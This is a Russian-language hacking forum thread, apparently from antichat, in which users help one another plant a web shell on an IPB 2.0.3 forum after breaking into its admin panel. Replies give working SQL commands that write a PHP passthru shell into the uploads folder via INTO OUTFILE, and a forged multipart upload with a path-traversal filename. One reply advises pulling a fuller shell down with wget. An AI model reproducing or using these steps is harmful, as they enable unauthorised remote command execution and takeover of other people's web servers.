Форум IPB 2.0.3 Дела такие... в админку залез. Папка emotion доступа на запись не имеет... Как быть дальше? Знаю что нужно подделать запрос и залить в папку uploads. Прочитал http://antichat.ru/txt/IPB/index2.php вот это, но не понял, что нужно именно заменять в данном там запросе и как дальше пользоваться программой InetCrack. Если можно где-то посмотреть видео по этому поводу или расскажите пожалуйста. За ранее благодарен!
попробуй через мускулы залить. если повезет и окажутся привелении писать в файл то будет тебе щастье.заливается так - идешь в sql админимтрирование и даешь команды UPDATE ibf_members SET name='<? passthru("$cmd"); ?>'WHERE id='0'; SELECT name FROM `ibf_members` WHERE id='0' INTO OUTFILE '/FULL_PATH_TO_FORUM/uploads/shell.php'; UPDATE ibf_members SET name='Guest'WHERE id='0'; путь к форуму смотриш в конфигурации.есть и другуй способ, юзай поиск по форуму.. эта тема сто раз уже обсуждалась.
Кста мне вот тоже интерстна тема, по поводу подделки запроса. Там запрос подделывается на это (часть,кусок): Content-Disposition: form-data; name="FILE_UPLOAD"; filename="../../uploads/myFile.php" Content-Type: application/octet-stream Но где в этом запросе данные о моем ЛОКАЛЬНОМ пути, с которого надо заливать файл сюда: ../../uploads/myFile.php ?
<% echo("Hello from injected PHP script") %> заменяй на <? passthru("$cmd"); ?> а потмо уж закачаешь wget`ом нормальный шелл .
Люди помогите, а если нету прав записи в дерикторию uploads? Че тогда делать, неужели из админки ничего сделать нельзя?
FoGorm, в uploads хранятся аватары юзеров, получится что на форуме нельзя использовать аватары (может и такое), посмотри.
В том то и дело, незнаю из-за чего админ запретил заливать аватары, возможно ступил что права не дал... Что можно сделать?
Ну не факт что и ступил, на одном из знакомых серверов у админа времени не было разбираться с js в аватарках, вот он и отключил в качестве временной меры закачку аватарок.
